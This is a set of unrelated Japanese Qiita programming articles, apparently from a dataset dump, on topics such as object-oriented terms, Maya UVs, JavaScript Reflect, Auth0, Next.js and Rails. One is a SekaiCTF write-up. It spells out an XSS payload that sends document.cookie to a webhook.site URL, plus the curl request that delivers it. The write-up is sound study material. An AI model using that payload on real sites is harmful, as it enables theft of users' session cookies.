OmniAICreator/Qiita-1.07M huggingface dataset:
開発経験4年目が今更オブジェクト指向のプログラミングについて学び直した件

# 目次
- 記事の目的
- 自己紹介
- オブジェクト指向と学習方法について
- 理解してなくても何故か開発はできる

## 記事の目的
目的は以下の通りになります。
- 学習したことの理解を深める為
- 現状の整理
- これからSEを目指したいと思っている方に向けてのメッセージ発信
- 間違っていたら誰かが教えてくれるかなと考えた為

もし記事の内容に間違いがあった場合は遠慮なくご指摘してください。
私の為になります。そして貴方の教える能力の向上にもつながります。
是非お願いします。

## 自己紹介
記憶が正しければ22歳から独立系Sier(笑)で働いているシステムエンジニアです。
休職中ですが、4年ちょっと働いていました。まだ休職中です。
経験としましては、javascript(jquery)やHTML、CSS、PHP、C++、Cという色々な言語を齧ってきました。
また開発工程は要件定義から基本設計～デプロイまで経験しています。
得意なことはフロントエンドの開発、次にバックエンドの開発です。
プログラム能力としては下の下です。多分スクールでちゃんと学んできた方の方ができるのではレベルです。

## オブジェクト指向と学習方法について
#### まずオブジェクト指向とはなんぞや？について超簡単に説明します。
オブジェクト指向とは設計図を元に、そこから具体性を持たせて機能化していくものだと私は理解しました。

よくある例えとして車の設計図がよく例に出されると思います。
車には部品が必要です。例えばフレーム、外装、タイヤ、エンジンなど
そして車には機能が必要です。走る。止まる。曲がるなど

これらの機能を1つの単位としてオブジェクトというもので管理、機能させていくのがオブジェクト指向だと考えております。

また車というオブジェクトを継承して更に抽象度を上げていくことを継承という考えです。
正直こんなこと言われても理解できないと思います。私も長年この説明で理解できませんでした。

#### オブジェクト指向の学習方法について
まずは用語を覚えながら実装してみましょう。
よくあるプログラミング学習サイトなどを使うと良いと思います。
私はprogateを使いました。
ただインプットするのと実際にプログラムを作るという形でアウトプットしながら作業するのでは効率が段違いです。
私もこうして記事を書いているぐらいですので、是非アプトプット作業をしながら覚えましょう。

###### 知らないとそもそもオブジェクトの話ができない用語
- クラス
- プロパティ
- メソッド
- インスタンス
- 継承
- 親子関係
###### 知らなくてもオブジェクトの理解はできるが必須用語
- コンストラクタ
- アクセス修飾子
- スタティック修飾子
- カプセル化
###### 知らなくてもなんとかなる用語
すいません。まだ勉強中です。(2024/11/13)

説明できる範囲で説明します。
<dl>
<dt>クラス</dt>
<dd>いわゆる設計図そのもの。この中にプロパティやメソッドやコンストラクタを書き込む。</dd>
<dt>プロパティ</dt>
<dd>クラスが持っている概念の値。車で言うタイヤとかフレームとか。</dd>
<dt>メソッド</dt>
<dd>クラスが持っている機能。走る、止まるなど。</dd>
<dt>インスタンス</dt>
<dd>クラスを使って機能を具体化すること。</dd>
<dd>タイヤには何を使う、エンジンは何を乗せるなど。</dd>
<dt>継承</dt>
<dd>とあるクラスを引き継ぎ(プロパティやらメソッド)新しいクラスを作ること。</dd>
<dd>車というクラスを引き継ぎ、スポーツカーというクラスを作るイメージ。</dd>
<dt>親子関係</dt>
<dd>継承された側が親、継承した側が子になります。</dd>
<dd>継承し続けるとネストが深くなって分かりにくいな～～って感じました。</dd>
<dt>コンストラクタ</dt>
<dd>インスタンス化した際に必ず行う作業のこと。</dd>
<dt>アクセス修飾子</dt>
<dd>クラスへのアクセス範囲。public、protected、privateの順番で厳しくなっていきます。</dd>
<dt>スタティック修飾子</dt>
<dd>いわゆる静的プロパティやら静的メソッドを宣言するのに使用する</dd>
<dd>静的はグローバルなものだと思ってもらえれば良いと思う。説明が難しい</dd>
</dl>

## 理解してなくても何故か開発はできる
マジです。
オブジェクト指向なんて分からなくてもエンジニアの仕事はできますし、なんだったら上流工程も経験できます。
ただ知っていて開発するのと知らないで開発するのでは今後身に付くスキル量に雲泥の差が生まれます。
こうして学び直し、発信しているのも後悔があった為です。
この記事を見てくださった方は少しでも知識を吸収しようと頑張っている方です。
是非学習を行い、知らないを分かるに変えていってください。

私も頑張っていきます。
孤立UVの削除


前回の記事がこちら

https://qiita.com/9boz/items/fe9435fabd7c59a2aacb

早いもので、もうすぐ１年たちますね。
ようやく対処法が見つかりました。

なんだかんだこの状況結構多発してまして、
細々したパーツに大量発生すると対応に時間が掛かりすぎて嫌になってしまうので、
意を決して対処法を探しました。

調査
--

問題となってるUVを削除したいのだけれども、そもそもUVは削除できるのか？

https://help.autodesk.com/cloudhelp/2022/JPN/Maya-Tech-Docs/CommandsPython/polyMapDel.html

これでいけないだろうか・・・？

```
cmds.polyMapDel("hogeGeo.map[4]", ch =False)
# Error: RuntimeError: file <maya console> line 1: Current selection doesn't match required selection type.
```
だめかー
**選択したフェースからテクスチャ座標(UV)を削除します。**
って書いてありますし・・・

さて困りました。
何かしらUV情報を更新できる方法があれば

とりあえず複数ポイントあるのが鬱陶しいので、せめて１点にまとめられるかやってみます。

テスト
--

手動ではつかめないのでチェック用スクリプトを改修し、孤立してるUVのIDを取得しマージを実行してみます。


```python
import maya.api.OpenMaya as om

def checkIsolateUV(target,uvSet):
    mesh_dagPath = om.MGlobal.getSelectionListByName(target).getDagPath(0)
    shape_Fn = om.MFnMesh(mesh_dagPath)
    uvShellIds = shape_Fn.getUvShellsIds(uvSet)
    
    shells = {}
    for i, n in enumerate(uvShellIds[1]):

        if n in shells:
            shells[n].append(i)
        else:
            shells[n] = [i]

    result = []
    
    if -1 in list(shells.keys()):
        for i in shells[-1]:
            result.append(target + ".map["+str(i)+"]")

    return result

cmds.select(checkIsolateUV("hogeGeo","map1"))

```

とりあえずつかめました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1484234/cc13a0dd-4ec6-6424-5987-85b39e513929.png)

この状態で mergeUVを実行してみます。
さて、１点になったかな・・・・
確認するために再度↑のスクリプトを実行してみます。

あれ？ゼロ？

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1484234/917709a3-9b2f-09b2-3a89-1b208af9ec36.png)

考察してみると、
polyMergeUV　が実行されたとこで、メッシュのUV情報がアップデートされ
これにより孤立したUVの情報が削除されたのではないでしょうか？

であれば、孤立したUVを指定しなくてもこれでいけたりして・・・・

```python
cmds.polyMergeUV("hogeGeo.map[0]",ch =False)
```

はい、いけました。
【JavaScript】Reflectについて

今回は【JavaScript】Reflectについての備忘録です。


## 1: Reflectとは？
・Reflectとは、「JSエンジン内部の汎用的な関数」に直接アクセスできるオブジェクトのこと。
<br>

## 2:「Reflect」をもう少し詳しく
⬇︎
◾︎JSエンジンでは内部でのみ使用される「内部メソッド」というものを保持している。
［［Get］］
［［Set］］
［［Delete］］
［［Construct］］

⭕️◾︎「Reflect」によってこの「内部メソッド」を間接的に呼び出すことができる。
get
set
deleteProperty
construct

<br>


## 3:Reflectを使用する目的は、主に2つ。
⬇︎
①「内部メソッドを、Reflectに格納していく」ことによって【Reflectを通して内部メソッドにアクセスするという目的。】

②「Proxyと合わせて使用する目的。」

主に以上の2点です。

<br>


## 4:実際に【Reflectを通して内部メソッドにアクセスしてみよう。】
<br>

__実践1__: 下記のようにnew演算子などを用いて表記していた所を、【関数表記(Reflect.constructやReflect.hasなど)できるというのがReflectの特徴】となります。

・「new演算子」と「Reflect.construct」は、【同様の機能を内部メソッドとして、読んでいることになります。】

・つまりnew演算子を記述しないで、【Reflect.constructというメソッドを使用して、インスタンス化が行える】ということ。

```javascript:main.js
//⬇︎class Cを作成しておく。
class C {
  constructor(a, b) {
    this.a = a;
    this.b = b;
  }
}

//1:普通の「new演算子」のインスタンス化
const obj1 = new C(1, 2);
console.log(obj1); //コンソール結果は、C {a: 1, b: 2}

//1-1:「1のnew演算子」を【Reflect.constructで、関数表記にできるのがReflectの特徴です。】
const obj2 = Reflect.construct(C, [1, 2]);
console.log(obj2); //コンソール結果は、C {a: 1, b: 2}




//2:「in」もReflectを使うことによって関数表記で使用できる。
console.log('a' in obj1); //コンソール結果は、aは存在するのでtrue

//2-1:Reflect.has()で関数表記で表す。
console.log(Reflect.has(obj1, 'c')); //コンソール結果は、cは存在しないのでfalse


```
<br>


__実践2__: Object.definePropertyのような「静的メソッド」は、インスタンス化を行わずに使用できるメソッドです。(補足:もともと静的メソッドの意味は、classのインスタンス化を行わずに使用できるメソッド。という意味です。)

・Object.definPropertyに対し【Reflect.defineProperty】は、「オブジェクトに格納されているdefineProperty(静的メソッド)を、Reflectに移植するという意味があります。」

⭕️Object.definePropertyとして使ってきたが、Reflect.definePropertyとして同様の機能を使えます。

```javascript:main.js

//⬇︎Reflectに静的メソッドを移植する。以降同様のメソッドが追加された場合にはReflectの方が今後追加されていく。
Reflect.defineProperty;

//⬇︎Reflect.definepropertyを使うと「エラー処理などが、便利になります。」
//「Object.defineProperty」の場合は少し面倒くさく「エラー処理などはtry, catch,を使います。」
//「Reflect.defineproperty」は便利で「エラー処理などをif文で記述できる。エラーとなった場合は自動でfalseが返却されます。」
if (Reflect.defineProperty) {
  //trueならここに処理で記載。
} else {
  //エラーならfalseを処理で記載。
}
```
<br>


__実践3__: 「Reflectでよく使用する【GetとSetの使い方】について。
・「bobオブジェクトとTomオブジェクト」のような2つのオブジェクトが作成された状態から始めていきたいと思います。

・「getキーワード」は何かというと、プロパティにアクセスすると、このget関数が呼ばれ、
【return this._hello();に続く戻り値】が出力結果となります。(コンソールには_helloメソッドの「hello Tom」が実行される。)

```javascript:main.js
//Reflectで良く使用する「Getの使い方」。

const bob = {
  name: 'Bob',
  _hello: function () {
    console.log(`helloooo ${this.name}`); 
  },
};

const tom = {
  name: 'Tom',
  _hello: function () {
    console.log(`hello ${this.name}`); 
  }, 
  get hello() {
    return this._hello();
  },
};

tom.hello; //⬅︎1: 一般的なドット記法で「tomのhelloメソッド」を実行した場合。
//コンソール結果は、hello Tom


Reflect.get(tom, 'hello', bob); //⬅︎2:「内部メソッド的に1:をReflect.getで実行することができる。(第一引数に対象オブジェクト、第二引数に使用するメソッド、第三引数(receiver)は束縛したいオブジェクトを設定)」
//コンソール結果は、helloooo Bob

```
<br>



## 5: 「Reflect」をしっかり使おう
目的を明確にし、少しずつコードを叩けば親しみが生まれていきますね。（私はコード練習は少しずつ区切って練習していく派です。）



<br>
以上、簡単にですがReflectの備忘録でした。
セキュリティの構成と対応についてまとめてみる

## はじめに
実務で脆弱性対応を行ったのですが、脆弱性？（セキュリティ）の種類や一般的な対応方法が自分の中で理解しきれていないと感じたのでざっくりまとめました。

開発環境としては、AWS・Java（Spring Boot）を前提にしています。
フロントでも対策できる部分はありますが、ツールで編集できたりするので今回は統一性を意識して無効と考えています。

※個人でまとめたものになるので、誤りがある可能性は十分にあります。

## 参考
- 徳丸 浩 (2018/6/21) 「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 脆弱性が生まれる原理と対策の実践」
- 松本 照吾, 桐谷 彰一, 畠中 亮, 前田 駿介 (2023/2/10) 「AWSではじめるクラウドセキュリティ　クラウドで学ぶセキュリティ設計/実装」
- 齋藤 孝道 (2022/6/24) 「マスタリングTCP/IP 情報セキュリティ編 (第2版)」
- 株式会社一創 (2024/06/12) 「Spring Securityとは何か？その基本と重要性を解説」 https://www.issoh.co.jp/tech/details/2465/#Spring_Security-4
- 東日本電信電話株式会社 (2023/10/25) 「AWSの責任共有モデルとは？事業者とユーザーの責任範囲や必要な情報セキュリティ対策を解説」 https://business.ntt-east.co.jp/content/cloudsolution/column-463.html#section-5

## セキュリティ構成
- 暗号技術
- 認証技術
- セキュリティプロトコル
- ネットワークセキュリティ
- Webセキュリティ

## AWS
- 暗号技術
    - AWS KMS
    - AWS Certificate Manager
- 認証技術
    - AWS IAM
    - Amazon Cognito
- セキュリティプロトコル
    - ネットワークACL
    - セキュリティグループ
    - AWS VPN
- ネットワークセキュリティ
    - AWS WAF
    - AWS Shield
    - AWS VPC
- Webセキュリティ
    - AWS Shield
    - AWS Inspector
    - AWS WAF

## Java(Spring Boot)
- 暗号技術
    - メッセージダイジェスト
        - ソルト
        - ストレッチング
- 認証技術
    - Spring Security
        - 認証
- Webセキュリティ
    - Spring Security
        - 認可
        - セッション管理
        - CSRF（クロスサイトリクエストフォージェリ）対策
        - CORS（クロスオリジンリソースシェアリング）設定
        - HTTPレスポンスヘッダー
    - バリデーション
        - ディレクトリ・トラバーサル
        - OSコマンド・インジェクション
        - DoS
        - XSS
    - Content-Typeの設定（Apache Tika）
        - ファイルアップロードのXSS
    - プレースホルダの利用
        - SQLインジェクション

## さいごに
ログの取得や検知・診断などを考えると上記だけでは足りないです。
詳しい使い方については、参考資料か公式ドキュメントを参考にしていただけたらと思います。
SekaiCTF write-up(tagless)

# tagless

まず問題の意図を分析、以下のことがわかった。
- Content-Security-Policyのscript-srcはself
    - つまり、スクリプトを直接HTML内に埋め込むことはできず、必ず同一ホストから、`<script src="/static/app.js"></script>`のように読み込ませる必要がある
- エンドポイントは実は3つある
    - index.htmlは簡単なメモ帳
    - `/report`はホストのseleniumを使って、ローカルホストの特定のページを開かせることができる
    - 404ページは`f"{path} not found"`を返す

最終的な目標は **/reportにアクセスし、seleniumのクッキーの内容を盗み取ること**である。

# index.html

auto_inputパラメータから任意のテキストを表示することができる。しかし、sanitizeInput関数が括弧の中のテキストを置換しているため、scriptの実行は難しいと判断した。あと、開発者モードでscriptを埋め込んで実行させようとしても、script-srcポリシーがselfとなっているinlineスクリプトも実行不可能。
結局外部からコードを読み込ませるにはもう一個のエンドポイントが必要であると考えた。

# 404ページ

404ページは http://0.0.0.0/asdfasdf のように存在しないページを開こうとするとき
、表示されるページであり、`/asdfasdf not found`のようなページが返ってくる。
{path}を<script>実行したいスクリプト</script>//のようにすれば、結果的には`<script></script>// not found`が得られるはず。
また、それを404ページ内部で`<script src='攻撃コードのURL'></script>`のように実行させればいいのではないかと思った。

# 設計

1. ページのクッキーをbase64にエンコードし、それをどこかのページにpostするスクリプトを作る
1. 1のスクリプトを404ページ内に表示するURLを作成する
1. 2のページを`<script src="url"></script>`を使って404ページ内に表示させる
1. 3で作ったページをreportエンドポイントに送る

## スクリプトの作成

requestbin系のサイトを適当に使って、urlパラメータとしてbase64にエンコーディングしたcookieを丸投げする。
具体的にはこんな感じのスクリプトが出来上がった。
```javascript
window.location="url"+btoa(document.cookie)
```
## 404ページに埋め込む
`http://host/asdf`にアクセスすると、`/asdf not found`が出力されるから、冒頭のスラッシュ記号と、末尾のnot foundをコメントアウトさせる必要がある。
```javascript
/**/window.location="http://webhook.site/57076290-64ef-483f-8d40-xxxxxxxxxxxx/"+btoa(document.cookie)// not found
```
のようにすればいい。

最終的なurlはこうなった。

`http://127.0.0.1:5000/**/window.location="http://webhook.site/57076290-64ef-483f-8d40-xxxxxxxxxxxx/"+btoa(document.cookie)//`

## 404ページにスクリプトを読み込ませる
```html
<script src='前の段階で作ったスクリプト'></script>
```
を表示させたい。同様に<script src='url'></script>を表示させれば良いが、urlをそのまま貼り付けると、括弧の区別が付かなくなるから、一回urlエンコードしてやる。

`
http://127.0.0.1:5000/<script src='http%3A%2F%2F127.0.0.1%3A5000%2F%2A%2A%2Fwindow.location%3D%22http%3A%2F%2Fwebhook.site%2F57076290-64ef-483f-8d40-xxxxxxxxxxxx%2F%22%2Bbtoa%28document.cookie%29%2F%2F'></script>
`

## reportページに送る

curlを使ってPOSTのパラメータとしてurlの値を送る。

```bash
curl -X POST https://tagless-xqw5wmhrrkit.chals.sekai.team/report \
   -H "Content-Type: application/x-www-form-urlencoded"  \
   -d "url=http://127.0.0.1:5000/<script src='http%3A%2F%2F127.0.0.1%3A5000%2F%2A%2A%2Fwindow.location%3D%22http%3A%2F%2Fwebhook.site%2F57076290-64ef-483f-8d40-xxxxxxxxxxxx%2F%22%2Bbtoa%28document.cookie%29%2F%2F'></script>"
```

# ハマったポイント

ペイロードを作成したときホストをlocalhostにしてしまい、クッキーのホストが異なり、クッキーがロードされない問題があった。
全体的に難易度が高くて難しかった。
ilasmでstack machine その47

# 概要
ilasmでstack machineやってみた。
日本語プログラミング言語のMindで、ilasmをコンパイル、実行してみた。

# サンプルコード

```

出力ファイルは　ファイル。

メインとは
「hello.il」で　出力ファイルを　新規オープンし
「.assembly hello {}」で　出力ファイルに　一行書き込み
「.method static void Main() cil managed {」で　出力ファイルに　一行書き込み
「	.entrypoint」で　出力ファイルに　一行書き込み
「	ldstr "Hello World!!"」で　出力ファイルに　一行書き込み
「	call void [mscorlib]System.Console::WriteLine(string)」で　出力ファイルに　一行書き込み
「	ret」で　出力ファイルに　一行書き込み
「}」で　出力ファイルに　一行書き込み
出力ファイルを　クローズし
「C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm hello.il」を　プログラム実行
「hello」を　プログラム実行
。


```

# 実行結果

```
>il0

Microsoft (R) .NET Framework IL Assembler.  Version 4.8.9105.0
Copyright (c) Microsoft Corporation.  All rights reserved.
Assembling 'hello.il'  to EXE --> 'hello.exe'
Source file is ANSI

hello.il(5) : warning : Reference to undeclared extern assembly 'mscorlib'. Attempting autodetect
Assembled global method Main
Creating PE file

Emitting classes:

Emitting fields and methods:
Global  Methods: 1;

Emitting events and properties:
Global
Writing PE file
Operation completed successfully
Hello World!!

```

以上
アプリの機能に悩むあなたに

個人開発でアプリを作成するときに基本意識するのはCRUD
ここに関しては多くの人が認識済みかもしれませんが、

個人開発でアプリ作成時の機能に関して、
**「自分の得意分野から」攻めたほうが良い**と考えます
同時に
**相手の得意分野は避けたほうがいい**と考えます

何言っているかわからないかもしれませんが、
以前テレビで見てたあたしンちのエピソードにヒントがあります

あなたが開発するアプリをプレゼントと例えてみてください

それは「相手によろこんでもらえるかどうか分からない」という不安にもなります

コーヒー好きな人に下手なコーヒー贈ると、
**ああこれね**
その人のほうが、あなたより舌が肥えていたらそのような反応が返ってくるリスクがあります

同じように、ついアプリ作成時に高度な技術を付けないとで加点法形式で「あの人は、○○が好きだから」という根拠を求めてしまいます

少なくとも「あの人はきっとLINEが好きだから」でプラス1点(だからLINE通知を実装しました)
少なくとも「みんな、おすすめを求めている」でプラス1点(だからレコメンドを実装しました)

そのプラスが、なんの手がかりもないプレゼント選びにおいて、光り輝いて見えますが、
もらう側「から」見たら、
**この機能好きじゃないんだよね**
っとなんのプラスにもなってなかったりするのです

もらう側が、自分から何をもらったら嬉しいだろうか、そこを想像する必要があります

そのためにアプリを作る際は、自らの趣味、志向をくみ取ることが大切になるのです



https://keraeiko.com/manga/637.html
Auth0でリフレッシュトークンをセッションに同期させる方法

Auth0では、Authorization Code Grantでのリフレッシュトークン発行が下記の仕様となっている。

* リフレッシュトークンを発行するにはAuthorization Requestの `scope` パラメータに `offline_access` を指定する必要がある。
* 発行されるリフレッシュトークンはログインセッションに紐づかないものとなり、ログインセッションが無効となっても、リフレッシュトークンは有効なままとなる。

ここで、[draft-ietf-oauth-browser-based-apps-19](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps)に記載される、Single Page ApplicationでRefresh Token Rotationを有効化してリフレッシュトークンを利用するパターンについて考える。このパターンでは `offline_access` である必要はなく、ログインセッションに同期してリフレッシュトークンを無効化できるとセキュリティ上都合がよい。

Auth0では長らくこの振る舞いの実現ができなかったが、直近のアップデートでワークアラウンドではあるが対応できるようになっている。

### 対応方法

* ApplicationにBack-channel Logoutを設定し、Back-channel Logout Requestで通知される無効となったセッションIDをDB等に保存しておく。

  * 参考：[OIDC Back-channel Logout - Logout token store](https://auth0.com/docs/authenticate/login/logout/back-channel-logout#logout-token-store)

* [post-login Action](https://auth0.com/docs/customize/actions/explore-triggers/signup-and-login-triggers/login-trigger)にて、Refresh Token Requestを処理するタイミングでリフレッシュトークンに紐づくセッションIDがDBに登録されていないかを確認する。登録されている場合にはRefresh Tokenを無効化する。

  * サンプルコード

    ```javascript
    exports.onExecutePostLogin = async (event, api) => {
      if (event.transaction?.protocol === 'oauth2-refresh-token') {
        // Calls an API to check if the session_id is listed in the DB.
        if(isExpiredSession(event.refresh_token?.session_id)) {
          api.refreshToken?.revoke("login session expired.");
        }
      }
    };
    ```

    参考：[Refresh Tokens with Actions](https://auth0.com/docs/secure/tokens/refresh-tokens/manage-refresh-tokens-actions)

### 補足情報

* 振る舞いを検証する際、以下のシェルスクリプトでリフレッシュトークンの発行と利用ができる。

  * Authorization Request

    ```bash
    BASE_URI=https://xxx.jp.auth0.com
    CLIENT_ID=xxx
    REDIRECT_URI=http://localhost
    
    # OSによってコマンドを置き換えること (openコマンドなど)
    wsl-open "${BASE_URI}/authorize?response_type=code&client_id=${CLIENT_ID}&redirect_uri=${REDIRECT_URI}&scope=openid+offline_access&state=abcd1234"
    ```

  * Token Request (Authorization Code)

    ```bash
    BASE_URI=https://xxx.jp.auth0.com
    CLIENT_ID=xxx
    CLIENT_SECRET=xxx
    REDIRECT_URI=http://localhost
    CODE=xxx
    
    curl -s -X POST \
      "${BASE_URI}/oauth/token" \
      -d "grant_type=authorization_code" \
      -d "client_id=${CLIENT_ID}" \
      -d "client_secret=${CLIENT_SECRET}" \
      -d "redirect_uri=${REDIRECT_URI}" \
      -d "code=${CODE}"
    ```

  * Token Request (Refresh Token)

    ```bash
    BASE_URI=https://xxx.auth0.com
    CLIENT_ID=xxx
    CLIENT_SECRET=xxx
    REFRESH_TOKEN=xxx
    
    curl -s -D- -X POST \
      "${BASE_URI}/oauth/token" \
      -d "grant_type=refresh_token" \
      -d "client_id=${CLIENT_ID}" \
      -d "client_secret=${CLIENT_SECRET}" \
      -d "refresh_token=${REFRESH_TOKEN}"
    ```

* 外部のシステムからリフレッシュトークンを無効化したい場合以下の2つの方法が提供されている。

  * Authentication API ( `/oauth/revoke` )
  * Management API ( `/api/v2/device-credentials` )
  * 参考：[Revoke Refresh Tokens](https://auth0.com/docs/secure/tokens/refresh-tokens/revoke-refresh-tokens)
Next.jsはなぜ使うべきか

## この記事を書いた理由
転職を機にReact単体は使ったことがあったが、Next.jsはほぼ未経験であり、具体的に何ができるのか理解していなかった。そのため、Next.jsのメリットや導入の目的を整理するためにこの記事を書いた。

## Next.jsとは
Next.jsはReactをベースにしたフレームワークである。フレームワークとは、Reactだけでは補えない課題や欠点を解決するために作られたものである。

例えば、JavaScript単体ではAjaxの記述が複雑でスムーズな開発が難しいため、それを解決するためにReactが誕生した。同様に、Reactにも課題があり、それを補うためにNext.jsが開発された。その主な課題は、大規模なプロジェクトになるほど高速にデータをレンダリングすることが難しくなる点である。

## Next.jsはなぜ誕生したのか？
Reactはページ数が少ない小規模なWebサイトに向いている。しかし、大規模なWebサイトではクライアントサイドレンダリング(CSR)による読み込み速度の低下が課題となる。この課題を解決するためにNext.jsが誕生した。

## ReactとNext.jsの違い
### レンダリング手法
Reactはクライアント側でレンダリングを行う。CSR(SPA)
Next.jsはサーバー側でレンダリングを行う。
そのため、Reactだとクライアント側のPCのスペックによって、表示される速度が変わってしまう。HTMLの解析や表示などクライアントのPCに依存してしまう。しかし、SSG,SSR,ISRの場合、サーバーのスペックが高ければ、そこでHTMLを生成する。つまりサーバー側でHTMLのDOMのツリー構造を構築している。各々のPCに依存せずにHTMLを生成するのが強み。

## プリレンダリングとは (Next.jsの概念)
初回読み込み時に既にHTMLが生成されて表示されている状態。その後にJavaScriptなどを読み込む。
一方でReactの場合、初回読み込み時は白紙の画面でそこからHTMLを生成し、Javascriptを読み込んでいる。
そのため、違いとしては初回読み込み時にHTMLで画面が表示されているかいないかの違い。
プリレンダリングのプリとは”前”という意味なので、レンダリング前にという意味合いを持つ。

## プリレンダリングの種類
### 1. SSG 
サーバー側で既にビルドしておく。そのため、リクエストが来ても既にビルドされ生成されているHTMLが返却されるので高速。更新のほとんどないページに利用される。例えば、ブログのテキストや、ECの商品画像など。
### 2. SSR
リクエストが来るたびに毎回、HTMLを生成する。SSGよりは遅くなる。更新の多いページに利用される。例えば、Xのプロフィール部分やタイムラインの部分等。
SSGは既にビルドされているので、新しくデータを付け加えることができないが、非常に高速でレンダリングするのがメリット。

## なぜSEOに強いと言われるのか？

1. 高速なページの表示
SSGでは事前にHTMLを生成し、SSRでは性能の良いサーバーでリアルタイムにHTMLを生成するため、クライアントに素早くHTMLを提供できる。この高速性が検索エンジンに評価される。
2. 完全なHTMLが表示されるから
SPAでは初回表示時に空のHTMLが表示され、JavaScriptでデータを取得してから画面を描画する。一方、Next.jsでは初回から完全なHTMLを提供するため、クローラーにとっても理解しやすく、SEOに有利である。

## ディレクトリ構造

### pages/

Next.jsのページを構成するディレクトリである。ファイル名がそのままURLの一部となる。

### public/

静的な画像やファイルを保管するディレクトリである。たとえば、src="/vercel.svg"と記述することで、publicディレクトリ直下のファイルを指定できる。

### components/

 Head情報やheader情報など、アプリ全体で共通して使用するコンポーネントを格納する。

## 結論 Next.jsを使う意味
Next.jsを使用することで、大規模なプロジェクトでも高速にデータをレンダリングできる。SSGやSSRを活用することでクライアントPCの性能に依存せず、高速なページ表示を実現する。その結果、SEOに強くなり、ユーザー体験も向上する。

また開発者側でも以下のようなメリットがある。
・直感的にルーティング設計ができる
・ホットリロードが標準

逆に、SSRやSSGを使わない場合には学習コストがかかるため、Next.jsを使用する必要がないケースもあり得るんじゃないかと思っていたが、React公式ドキュメントではNext.jsの利用が推奨されている。
今後、Next.jsを活用しない理由はほとんどないのかも。

https://ja.react.dev/learn/start-a-new-react-project#can-i-use-react-without-a-framework
ROS2 Jazzy環境でRealSenseを使うメモ

# はじめに

ubuntu24.04LTSとROS2 Jazzy環境でrealsense_rosが使えるようになっていたので使い方のメモです。

# インストール

realsense2関係のパッケージ一覧

```bash
$ sudo apt install ros-jazzy-realsense2-
ros-jazzy-realsense2-camera              ros-jazzy-realsense2-camera-msgs         ros-jazzy-realsense2-description         
ros-jazzy-realsense2-camera-dbgsym       ros-jazzy-realsense2-camera-msgs-dbgsym  
```

とりあえず全部インストール
これで依存のRealSense SDKもインストールされます。

```bash
sudo apt install ros-jazzy-realsense2-*
```

# 実行

使い方は以前のバージョンのROS2と同じです。

```bash
ros2 launch realsense2_camera rs_launch.py
```

最後に'RealSense Node Is Up!'が表示されれば認識できています。




トピック一覧
/camera/cameraとnamespaceが2重になっている..

```bash
$ ros2 topic list
/camera/camera/color/camera_info
/camera/camera/color/image_raw
/camera/camera/color/image_raw/compressed
/camera/camera/color/image_raw/compressedDepth
/camera/camera/color/image_raw/theora
/camera/camera/color/image_raw/zstd
/camera/camera/color/metadata
/camera/camera/depth/camera_info
/camera/camera/depth/image_rect_raw
/camera/camera/depth/image_rect_raw/compressed
/camera/camera/depth/image_rect_raw/compressedDepth
/camera/camera/depth/image_rect_raw/theora
/camera/camera/depth/image_rect_raw/zstd
/camera/camera/depth/metadata
/camera/camera/extrinsics/depth_to_color
/camera/camera/extrinsics/depth_to_depth
/parameter_events
/rosout
/tf_static
```
Githubアクションでtailwind.cssがアセットパイプラインに追加されていないエラー

- エラー文
```
Failure/Error: <%= stylesheet_link_tag "tailwind", "inter-font", "data-turbo-track": "reload" %>

 ActionView::Template::Error:
   The asset "tailwind.css" is not present in the asset pipeline.
```

## 原因
- headタグでtailwindとapplicationの2つを読み込んでいた
- 他に原因があったかもしれないが、以下の方法で解決

## 解決策
- config/initializers/assets.rbにapplication.cssを追加し、application.cssがプリコンパイルされるようにする
```
Rails.application.config.assets.precompile += %w( application.css )
```
- application.cssにtailwindcssをインポート
```application.css
@import 'tailwind';
```
- headタグからtailwindを削除し、applicationのみを読み込むように変更
```application.html.erb
<%= stylesheet_link_tag "tailwind", "inter-font", "data-turbo-track": "reload" %> #この一行を削除
<%= stylesheet_link_tag "application", "data-turbo-track": "reload" %>
```
- アセットのプリコンパイル実施
``` 
bin/rails assets:precompile 
```

## 解決に至った経緯
- アセットパイプラインについての知識がなかったため、調べて、概要や仕組みを把握
- アセットのプリコンパイルを実施
- Railsコンソールを開き、以下のコマンドを実施し、プリコンパイルされてどのファイルができたかを確認
```
Rails.application.assets_manifest.assets
```
- tailwind.cssの記述があり、アセットパイプラインには正しく読み込めているのを確認
```
 "tailwind.css"=>"tailwind-8218b64c410698a92872b31a8d63908a862388c729fd2ac15390e54d6f4adbd8.css"
```
- エラー文から、<%= stylesheet_link_tag "tailwind", "inter-font", "data-turbo-track": "reload" %>が原因だと考える
- 該当の一行を削除し、applicationのみを読み込むように設定やファイルを変更
- 解決

## 感想
- アセットパイプラインについての知識がなかったため、むやみに検索して解決策を実行するよりも、しっかりと概要や仕組みを理解することが解決につながったと思う。
upload-release-assetはもう使えない

メンテされなくなって久しい[upload-release-asset](https://github.com/actions/upload-release-asset)ですが、それでも使うことはできます。
しかし最近GitHub側に修正が入ったみたいで使うと
> Error: Cookies must be enabled to use GitHub.
というエラーが出るようになりました。

issueを立てようにもこのような状態です。
https://github.com/actions/upload-release-asset/issues/58

> I'm afraid that there is no maintainer for this repo in GitHub's internal structure.
Unfortunately, it might take long until some manager finds out that giving write access to a bunch of employees without assigning any responsability is not going to work. We need someone to take the lead. That might well be an external contributor.

> GitHubの内部構造上、このレポのメンテナーはいないようですね。
残念なことに、何の責任も負わずに大勢の従業員に書き込み権限を与えるのはうまくいかないと、どこかのマネージャーが気づくまで時間がかかるかもしれません。誰かがリードする必要がある。それは外部の貢献者かもしれない。

## 対策

[upload-release-action](https://github.com/svenstaro/upload-release-action)を使いましょう
こちらは動きます。
EMが教えてくれたエンジニアとして年収を上げる一つの方法

※この話は一部フィクションです。
# 導入
エンジニアのみなさん評価面談苦戦していませんか？
自分の年収があまり上がらない。評価が思ったように上がらない。
そんなときないでしょうか。年収上げたいですよね。

エンジニアリングマネージャーが教えてくれたとっておきの方法を紹介します。

# エンジニアリングマネージャーAさんが教えてくれた年収を上げる一つの方法
他社に転職活動して内定を取り現在の会社との年収の乖離を比較し、自社に年収交渉をしましょう。
推定年収を出すサービスだと上ブレるからダメです。
自分の市場価値を具体的に出せるようになります。

# 所感
部下側が転職の意思をもち、マネージャーに相談しているなら手段の一つだと思います。
